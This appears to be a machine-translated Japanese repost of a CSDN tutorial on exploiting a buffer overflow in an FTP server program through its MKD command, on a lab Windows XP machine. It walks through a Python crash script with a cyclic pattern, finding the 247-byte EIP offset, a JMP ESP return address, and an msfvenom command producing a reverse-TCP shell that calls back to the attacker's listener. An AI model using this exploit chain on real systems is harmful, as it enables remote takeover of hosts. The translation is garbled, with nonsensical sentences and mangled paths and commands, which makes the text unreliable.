無料のFloat1.0エクスプロイトとEXP書き込み

最初にODBを使用してバッファオーバーフローの脆弱性があるFTPSERVER1.0プログラムを実行し、次にF9を押してODBに脆弱性のあるプログラムを実行させます。
まず、kaliに付属のpattern_create.rbスクリプトを使用して、バッファオーバーフローをテストするためのコードの文字列を生成します。これにより、次のステップでバッファサイズをテストできます。
ここで使用するスクリプトは次の場所にあります。

/ usr / share / metasplot-framework / exploit / tools

下。スクリプトpattern_create.rbファイルはこのディレクトリに存在します。コマンドを使用します

./pattern_create.rb -l 1000

1000バイトの文字列を生成できます。この文字列を使用して、バッファサイズをテストします。
ここに画像の説明を挿入

次に、次のPythonスクリプトを記述します

#!/usr/bin/env python
from socket import *
payload="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A	b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad	7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8	Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A	h9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak	2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am	3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1	Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq	1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As	2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3A	u4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3	Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay	3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4	Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5	Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be	6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8	Bg9Bh0Bh1Bh2B"
sock = socket(AF_INET,SOCK_STREAM)
sock.connect(('172.16.104.250',21))
sock.recv(1024)
sock.send("USER anonymous\r\n")
sock.recv(1024)
sock.send("PASS anonymous\r\n")
sock.recv(1024)
sock.send("MKD " + payload +"\r\n")
sock.recv(1024)
sock.send("QUIT\r\n")
sock.close

スクリプトを実行すると、odbのメモリが空であることがわかります。元のODBでは、Shift + F7を使用して例外を表示する必要があります。エラーメッセージから、69413269のアドレスが空であることが簡単にわかります。つまり、EIPの値は69413269になります。プログラムが戻ると、espはeipを指します。このとき、eipが指すメモリスペースは空であり、プログラムはコードを実行しません。
ここに画像の説明を挿入

ここで、バッファーの長さを決定するために、kaliでpattern_offset.rbスクリプトを使用して計算を行う必要があります。
このファイルの場所は/usr/ share / metasploit-framework / exploit/toolsの下にあります。
コマンド"./pattern_offset.rb-q 69413269"を使用して、現在のプログラムのバッファーサイズを取得します。

ここに画像の説明を挿入

特に。ODBを使用してオーバーフローの脆弱性があるプログラムを開かない場合は、プログラムのエラーメッセージで詳細情報を確認することもできます。また、プログラムが現在指している間違ったEIPアドレスも含まれます。オーバーフローの脆弱性を判別するためにpayload='a'*1000のメソッドを使用することはお勧めしません。この方法のため、現在EIPを指しているプログラムのアドレスを判別して正しいバッファーサイズを取得することは困難です。これは次のテストには適さないQWQです。

明らかに、プログラムに到達するバッファサイズは247バイトです。現時点では、EIPが目的のアドレスを指すようにする必要があることがわかっています。バッファオーバーフロー攻撃の本質は、メモリアドレスの値を制御可能にすることです。適切なEIPアドレスが見つかる限り、プログラムが戻ったときにESPをジャンプさせます。EIPが指すアドレスに移動し、EIPの背後にある値をシェルコードで上書きして、プログラムが戻ったときにESPの不明な関数をシェルコードにします。ランダム化)、アプローチ私たちが取るのはメモリインジェクションです。非常に素晴らしいと感じますが、実際には==ではありません。シェルコードスペースを正常に指すようにプログラムのアドレスを返すだけでよいので、最初にQAQに正確に当てはまる必要はありません。ここで理解できるシェルコード。少し難しい。MicrosoftのASLRでは、すべてのメモリアドレスはランダムです==ここでは、ユーザーのメモリ空間で使用可能なJMP ESP命令を見つける必要があります。ここでは、各プログラムによってロードする必要のあるuser32.dllとカーネルは含まれていません。dll、単純にodbを使用して、関数の最初の戻りアドレスを判別します。なぜ夜に長い夢を見ているのかわかりません。もちろん、JMP ESPのマシンコードはE4FFと呼ばれます。ファーストイン、ラストアウトの理由により、ループを使用してloadlibraryによって返されるハンドル内の命令を検索する場合は、handle [pos] ==0xFF&&を使用する必要があります。 handle [pos + 1]==0xE4。
ここで見つけたアドレスは\x77\ xc2 \ x10 \ x25です。プログラムでは、\ x25 \ x10 \ xc2\x77と入力する必要があります。

次に、パディング文字を追加してシェルコードがコードセグメントスペースにあることを確認し、最後にmsfvemonによって生成されたシェルコードを追加します。具体的なコマンドはmsfvenom-pwindows / shell_reverse_tcp LHOST = local IP LPORT = listen port -b'\ x00 \ x0a \ x0d' -f py -c 1.py
-bは、不正な文字を削除することを意味します。\ x00は文字列の終わり、\x0aは\n、\x0dはキャリッジリターンです。

ここに画像の説明を挿入

最後に、Pythonスクリプトにシェルコードの文字列を追加できます。

完全なコード:

ここに画像の説明を挿入

実行効果:

172.16.104.250は脆弱性のあるxpであり、私のカリは172.16.104.3であり、リスニングポートは8086です。

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/qq_27180763/article/details/123682143